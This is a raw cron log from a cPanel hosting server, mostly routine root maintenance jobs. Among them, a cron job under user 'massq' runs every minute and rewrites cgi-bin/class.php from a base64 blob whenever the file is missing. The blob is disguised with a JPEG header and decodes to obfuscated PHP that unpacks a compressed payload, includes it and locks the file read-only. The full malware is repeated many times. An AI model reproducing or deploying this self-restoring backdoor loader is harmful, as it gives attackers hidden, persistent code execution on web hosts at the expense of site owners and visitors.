Sep  8 14:52:01 server CROND[28129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:52:01 server CROND[28130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:53:01 server CROND[28507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:53:01 server CROND[28509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:53:01 server CROND[28508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:54:01 server CROND[28989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:54:01 server CROND[28990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:54:01 server CROND[28991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:55:01 server CROND[29392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:55:01 server CROND[29394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:55:01 server CROND[29400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:55:01 server CROND[29403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:55:01 server CROND[29405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:55:01 server CROND[29402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:55:01 server CROND[29401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:56:01 server CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:56:02 server CROND[30236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:56:02 server CROND[30235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:57:01 server CROND[30618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:57:01 server CROND[30620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:57:01 server CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:57:01 server CROND[30621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:58:01 server CROND[31015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:58:01 server CROND[31016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:58:01 server CROND[31017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:59:01 server CROND[31396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:59:01 server CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:59:01 server CROND[31397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:00:01 server CROND[31887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:00:01 server CROND[31888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:00:01 server CROND[31894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:00:01 server CROND[31898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:00:01 server CROND[31897]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:00:01 server CROND[31901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:00:01 server CROND[31893]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 15:00:01 server CROND[31903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:00:01 server CROND[31902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:01:01 server CROND[32744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:01:01 server CROND[32745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:01:01 server CROND[32746]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 15:01:01 server CROND[32747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:01:01 server run-parts(/etc/cron.hourly)[32746]: starting 0anacron
Sep  8 15:01:01 server run-parts(/etc/cron.hourly)[32766]: finished 0anacron
Sep  8 15:02:01 server CROND[699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:02:01 server CROND[700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:02:01 server CROND[701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:03:01 server CROND[1227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:03:01 server CROND[1230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:03:01 server CROND[1229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:04:01 server CROND[1652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
